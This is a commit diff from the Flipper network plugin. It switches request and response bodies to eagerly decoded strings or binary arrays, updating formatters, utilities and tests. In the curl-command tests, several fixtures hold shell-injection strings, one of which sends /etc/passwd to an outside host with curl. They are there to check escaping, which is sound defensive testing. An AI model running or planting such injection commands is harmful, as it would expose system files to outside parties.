jens/flipper
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Parse request bodies eagerly

Browse Source 
Summary:
Currently the network plugin was always storing the transfer format of our request/ response bodies: a base64 string. However, those are not searchable, and every formatter (and multiple can be invoked in a single view) was responsible for its own decompressing.

This diff changes parsing requests / responses into an accurate format: a decompressed, de-base64-ed utf8 string, or a Uint8array for binary data.

We will use this in the next diffs to do some more efficient searching

Reviewed By: passy

Differential Revision: D28200190

fbshipit-source-id: 33a71aeb7b340b58305e97fff4fa5ce472169b25
This commit is contained in:
Michel Weststrate
2021-05-06 04:26:41 -07:00
committed by Facebook GitHub Bot
parent fc4a08eb55
commit 72e34bbd0d
8 changed files with 189 additions and 130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

74
desktop/plugins/public/network/RequestDetails.tsx
View File

@@ -23,7 +23,7 @@ import {
} from 'flipper-plugin';
import {Select, Typography} from 'antd';
import {formatBytes, decodeBody, getHeaderValue} from './utils';
import {bodyAsBinary, bodyAsString, formatBytes, getHeaderValue} from './utils';
import {Request, Header, Insights, RetryInsights} from './types';
import {BodyOptions} from './index';
import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository';
@@ -185,7 +185,7 @@ class RequestBodyInspector extends Component<{
}> {
render() {
const {request, formattedText} = this.props;
if (request.requestData == null || request.requestData.trim() === '') {
if (request.requestData == null || request.requestData === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -221,7 +221,7 @@ class ResponseBodyInspector extends Component<{
}> {
render() {
const {request, formattedText} = this.props;
if (request.responseData == null || request.responseData.trim() === '') {
if (request.responseData == null || request.responseData === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -265,36 +265,11 @@ const Empty = () => (
</Layout.Container>
);
function getRequestData(request: Request) {
return {
headers: request.requestHeaders,
data: request.requestData,
};
}
function getResponseData(request: Request) {
return {
headers: request.responseHeaders,
data: request.responseData,
};
}
function renderRawBody(request: Request, mode: 'request' | 'response') {
// TODO: we want decoding only for non-binary data! See D23403095
const data = mode === 'request' ? request.requestData : request.responseData;
const decoded = decodeBody(
mode === 'request' ? getRequestData(request) : getResponseData(request),
);
return (
<Layout.Container gap>
{decoded ? (
<CodeBlock>{decoded}</CodeBlock>
) : (
<>
<FormattedBy>(Failed to decode)</FormattedBy>
<CodeBlock>{data}</CodeBlock>
</>
)}
<CodeBlock>{bodyAsString(data)}</CodeBlock>
</Layout.Container>
);
}
@@ -359,7 +334,9 @@ class ImageFormatter {
const src = `data:${getHeaderValue(
request.responseHeaders,
'content-type',
)};base64,${request.responseData}`;
)};base64,${Base64.fromUint8Array(
bodyAsBinary(request.responseData)!,
)}`;
return <ImageWithSize src={src} />;
} else {
// fallback to using the request url
@@ -416,14 +393,14 @@ class XMLText extends Component<{body: any}> {
class JSONTextFormatter {
formatRequest(request: Request) {
return this.format(
decodeBody(getRequestData(request)),
bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'),
);
}
formatResponse(request: Request) {
return this.format(
decodeBody(getResponseData(request)),
bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'),
);
}
@@ -452,14 +429,14 @@ class JSONTextFormatter {
class XMLTextFormatter {
formatRequest(request: Request) {
return this.format(
decodeBody(getRequestData(request)),
bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'),
);
}
formatResponse(request: Request) {
return this.format(
decodeBody(getResponseData(request)),
bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'),
);
}
@@ -474,14 +451,14 @@ class XMLTextFormatter {
class JSONFormatter {
formatRequest(request: Request) {
return this.format(
decodeBody(getRequestData(request)),
bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'),
);
}
formatResponse(request: Request) {
return this.format(
decodeBody(getResponseData(request)),
bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'),
);
}
@@ -514,7 +491,7 @@ class JSONFormatter {
class LogEventFormatter {
formatRequest(request: Request) {
if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(getRequestData(request)));
const data = querystring.parse(bodyAsString(request.requestData));
if (typeof data.message === 'string') {
data.message = JSON.parse(data.message);
}
@@ -526,7 +503,7 @@ class LogEventFormatter {
class GraphQLBatchFormatter {
formatRequest(request: Request) {
if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(getRequestData(request)));
const data = querystring.parse(bodyAsString(request.requestData));
if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries);
}
@@ -554,7 +531,7 @@ class GraphQLFormatter {
const requestStartMs = serverMetadata['request_start_time_ms'];
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
return (
<Text>
<Text type="secondary">
{'Server wall time for initial response (ms): ' +
(timeAtFlushMs - requestStartMs)}
</Text>
@@ -562,11 +539,11 @@ class GraphQLFormatter {
}
formatRequest(request: Request) {
if (request.url.indexOf('graphql') > 0) {
const decoded = decodeBody(getRequestData(request));
const decoded = request.requestData;
if (!decoded) {
return undefined;
}
const data = querystring.parse(decoded);
const data = querystring.parse(bodyAsString(decoded));
if (typeof data.variables === 'string') {
data.variables = JSON.parse(data.variables);
}
@@ -579,7 +556,7 @@ class GraphQLFormatter {
formatResponse(request: Request) {
return this.format(
decodeBody(getResponseData(request)),
bodyAsString(request.responseData!),
getHeaderValue(request.responseHeaders, 'content-type'),
);
}
@@ -621,11 +598,16 @@ class FormUrlencodedFormatter {
formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.requestHeaders, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) {
const decoded = decodeBody(getRequestData(request));
const decoded = request.requestData;
if (!decoded) {
return undefined;
}
return <DataInspector expandRoot data={querystring.parse(decoded)} />;
return (
<DataInspector
expandRoot
data={querystring.parse(bodyAsString(decoded))}
/>
);
}
};
}
@@ -675,7 +657,7 @@ class ProtobufFormatter {
if (request.requestData) {
const data = protobufDefinition.decode(
Base64.toUint8Array(request.requestData),
bodyAsBinary(request.requestData)!,
);
return <JSONText>{data.toJSON()}</JSONText>;
} else {
@@ -708,7 +690,7 @@ class ProtobufFormatter {
if (request.responseData) {
const data = protobufDefinition.decode(
Base64.toUint8Array(request.responseData),
bodyAsBinary(request.responseData)!,
);
return <JSONText>{data.toJSON()}</JSONText>;
} else {

35
desktop/plugins/public/network/__tests__/chunks.node.tsx
View File

@@ -88,8 +88,14 @@ test('Reducer correctly adds followup chunk', () => {
test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
sendEvent('newRequest', {
data: 'x',
headers: [{key: 'y', value: 'z'}],
data: btoa('x'),
headers: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1',
method: 'GET',
timestamp: 0,
@@ -97,7 +103,7 @@ test('Reducer correctly combines initial response and followup chunk', () => {
});
sendEvent('partialResponse', {
data: 'aGVs',
headers: [],
headers: [{key: 'Content-Type', value: 'text/plain'}],
id: '1',
insights: null,
isMock: false,
@@ -113,7 +119,12 @@ test('Reducer correctly combines initial response and followup chunk', () => {
"followupChunks": Object {},
"initialResponse": Object {
"data": "aGVs",
"headers": Array [],
"headers": Array [
Object {
"key": "Content-Type",
"value": "text/plain",
},
],
"id": "1",
"index": 0,
"insights": null,
@@ -128,7 +139,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
`);
expect(instance.requests.records()[0]).toMatchObject({
requestData: 'x',
requestHeaders: [{key: 'y', value: 'z'}],
requestHeaders: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1',
method: 'GET',
url: 'http://test.com',
@@ -155,9 +172,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
key: 'y',
value: 'z',
},
{
key: 'Content-Type',
value: 'text/plain',
},
],
responseData: 'aGVsbG8=',
responseHeaders: [],
responseData: 'hello',
responseHeaders: [{key: 'Content-Type', value: 'text/plain'}],
responseIsMock: false,
responseLength: 5,
status: 200,

63
desktop/plugins/public/network/__tests__/encoding.node.tsx
View File

@@ -14,12 +14,16 @@ import {ResponseInfo} from '../types';
import {promisify} from 'util';
import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<ResponseInfo> {
async function createMockResponse(
input: string,
contentType: string,
): Promise<ResponseInfo> {
const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input),
'ascii',
);
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const contentTypeHeader = {key: 'Content-Type', value: contentType};
const testResponse: ResponseInfo = {
id: '0',
timestamp: 0,
@@ -31,8 +35,9 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
key: 'Content-Encoding',
value: 'gzip',
},
contentTypeHeader,
]
: [],
: [contentTypeHeader],
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
isMock: false,
insights: undefined,
@@ -42,6 +47,18 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
return testResponse;
}
function bodyAsString(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(typeof res).toBe('string');
return (res as string).trim();
}
function bodyAsBuffer(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(res).toBeInstanceOf(Uint8Array);
return Buffer.from(res as Uint8Array);
}
describe('network data encoding', () => {
const donatingExpected = readFileSync(
path.join(__dirname, 'fixtures', 'donating.md'),
@@ -56,46 +73,66 @@ describe('network data encoding', () => {
);
test('donating.md.utf8.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.gzip.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.android.txt', async () => {
const response = await createMockResponse('donating.md.utf8.android.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.android.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.android.txt', async () => {
const response = await createMockResponse(
'donating.md.utf8.gzip.android.txt',
'text/plain',
);
expect(decodeBody(response).trim()).toEqual(donatingExpected);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('tiny_logo.android.txt', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.android.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.ios.txt', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.ios.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
});

18
desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
View File

@@ -30,7 +30,7 @@ test('convertRequestToCurlCommand: simple POST', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
const command = convertRequestToCurlCommand(request);
@@ -46,7 +46,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
let command = convertRequestToCurlCommand(request);
@@ -60,7 +60,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
command = convertRequestToCurlCommand(request);
@@ -76,7 +76,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
let command = convertRequestToCurlCommand(request);
@@ -90,7 +90,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
command = convertRequestToCurlCommand(request);
@@ -106,9 +106,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa(
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
),
requestData: 'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
};
let command = convertRequestToCurlCommand(request);
@@ -122,7 +120,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=!!'),
requestData: 'some=!!',
};
command = convertRequestToCurlCommand(request);
@@ -138,7 +136,7 @@ test('convertRequestToCurlCommand: control characters', () => {
method: 'GET',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
requestData: 'some=\u0007 \u0009 \u000C \u001B&other=param',
};
const command = convertRequestToCurlCommand(request);

5
desktop/plugins/public/network/index.tsx
View File

@@ -41,6 +41,7 @@ import {
formatBytes,
formatDuration,
requestsToText,
decodeBody,
} from './utils';
import RequestDetails from './RequestDetails';
import {URL} from 'url';
@@ -329,7 +330,7 @@ function createRequestFromRequestInfo(data: RequestInfo): Request {
url: data.url ?? '',
domain,
requestHeaders: data.headers,
requestData: data.data ?? undefined,
requestData: decodeBody(data.headers, data.data),
};
}
@@ -343,7 +344,7 @@ function updateRequestWithResponseInfo(
status: response.status,
reason: response.reason,
responseHeaders: response.headers,
responseData: response.data ?? undefined,
responseData: decodeBody(response.headers, response.data),
responseIsMock: response.isMock,
responseLength: getResponseLength(response),
duration: response.timestamp - request.requestTime.getTime(),

10
desktop/plugins/public/network/request-mocking/NetworkRouteManager.tsx
View File

@@ -13,7 +13,7 @@ import electron, {OpenDialogOptions, remote} from 'electron';
import {Atom, DataTableManager} from 'flipper-plugin';
import {createContext} from 'react';
import {Header, Request} from '../types';
import {decodeBody} from '../utils';
import {bodyAsString, decodeBody} from '../utils';
import {message} from 'antd';
export type Route = {
@@ -120,10 +120,10 @@ export function createNetworkManager(
// convert data TODO: we only want this for non-binary data! See D23403095
const responseData =
request && request.responseData
? decodeBody({
headers: request.responseHeaders ?? [],
data: request.responseData,
})
? decodeBody(
request.responseHeaders ?? [],
bodyAsString(request.responseData),
)
: '';
const newNextRouteId = nextRouteId.get();

4
desktop/plugins/public/network/types.tsx
View File

@@ -20,13 +20,13 @@ export interface Request {
url: string;
domain: string;
requestHeaders: Array<Header>;
requestData?: string;
requestData: string | Uint8Array | undefined;
// response
responseTime?: Date;
status?: number;
reason?: string;
responseHeaders?: Array<Header>;
responseData?: string;
responseData?: string | Uint8Array | undefined;
responseLength?: number;
responseIsMock?: boolean;
duration?: number;

110
desktop/plugins/public/network/utils.tsx
View File

@@ -26,27 +26,42 @@ export function getHeaderValue(
return '';
}
export function decodeBody(container: {
headers?: Array<Header>;
data: string | null | undefined;
}): string {
if (!container.data) {
return '';
export function isTextual(headers?: Array<Header>): boolean {
const contentType = getHeaderValue(headers, 'Content-Type');
if (!contentType) {
return false;
}
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
return (
contentType.startsWith('text/') ||
contentType.startsWith('application/x-www-form-urlencoded') ||
contentType.startsWith('application/json') ||
contentType.startsWith('multipart/') ||
contentType.startsWith('message/') ||
contentType.startsWith('image/svg')
);
}
export function decodeBody(
headers?: Array<Header>,
data?: string | null,
): string | undefined | Uint8Array {
if (!data) {
return undefined;
}
try {
const isGzip =
getHeaderValue(container.headers, 'Content-Encoding') === 'gzip';
const isGzip = getHeaderValue(headers, 'Content-Encoding') === 'gzip';
if (isGzip) {
try {
const binStr = Base64.atob(container.data);
const dataArr = new Uint8Array(binStr.length);
for (let i = 0; i < binStr.length; i++) {
dataArr[i] = binStr.charCodeAt(i);
}
// The request is gzipped, so convert the base64 back to the raw bytes first,
// then inflate. pako will detect the BOM headers and return a proper utf-8 string right away
return pako.inflate(dataArr, {to: 'string'});
// The request is gzipped, so convert the raw bytes back to base64 first.
const dataArr = Base64.toUint8Array(data);
// then inflate.
return isTextual(headers)
? // pako will detect the BOM headers and return a proper utf-8 string right away
pako.inflate(dataArr, {to: 'string'})
: pako.inflate(dataArr);
} catch (e) {
// on iOS, the stream send to flipper is already inflated, so the content-encoding will not
// match the actual data anymore, and we should skip inflating.
@@ -57,14 +72,18 @@ export function decodeBody(container: {
}
}
// If this is not a gzipped request, assume we are interested in a proper utf-8 string.
// - If the raw binary data in is needed, in base64 form, use container.data directly
// - either directly use container.data (for example)
return Base64.decode(container.data);
// - If the raw binary data in is needed, in base64 form, use data directly
// - either directly use data (for example)
if (isTextual(headers)) {
return Base64.decode(data);
} else {
return Base64.toUint8Array(data);
}
} catch (e) {
console.warn(
`Flipper failed to decode request/response body (size: ${container.data.length}): ${e}`,
`Flipper failed to decode request/response body (size: ${data.length}): ${e}`,
);
return '';
return undefined;
}
}
@@ -78,17 +97,31 @@ export function convertRequestToCurlCommand(
const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`;
});
// Add body. TODO: we only want this for non-binary data! See D23403095
const body = decodeBody({
headers: request.requestHeaders,
data: request.requestData,
});
if (body) {
command += ` -d ${escapedString(body)}`;
if (typeof request.requestData === 'string') {
command += ` -d ${escapedString(request.requestData)}`;
}
return command;
}
export function bodyAsString(body: undefined | string | Uint8Array): string {
if (body == undefined) {
return '(empty)';
}
if (body instanceof Uint8Array) {
return '(binary data)';
}
return body;
}
export function bodyAsBinary(
body: undefined | string | Uint8Array,
): Uint8Array | undefined {
if (body instanceof Uint8Array) {
return body;
}
return undefined;
}
function escapeCharacter(x: string) {
const code = x.charCodeAt(0);
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
@@ -167,21 +200,8 @@ export function requestsToText(requests: Request[]): string {
.join('\n')}`;
// TODO: we want decoding only for non-binary data! See D23403095
const requestData = request.requestData
? decodeBody({
headers: request.requestHeaders,
data: request.requestData,
})
: null;
const responseData = request.responseData
? decodeBody({
headers: request.responseHeaders,
data: request.responseData,
})
: null;
if (requestData) {
copyText += `\n\n${requestData}`;
if (request.requestData) {
copyText += `\n\n${request.requestData}`;
}
if (request.status) {
copyText += `
@@ -198,8 +218,8 @@ export function requestsToText(requests: Request[]): string {
}`;
}
if (responseData) {
copyText += `\n\n${responseData}`;
if (request.responseData) {
copyText += `\n\n${request.responseData}`;
}
return copyText;
}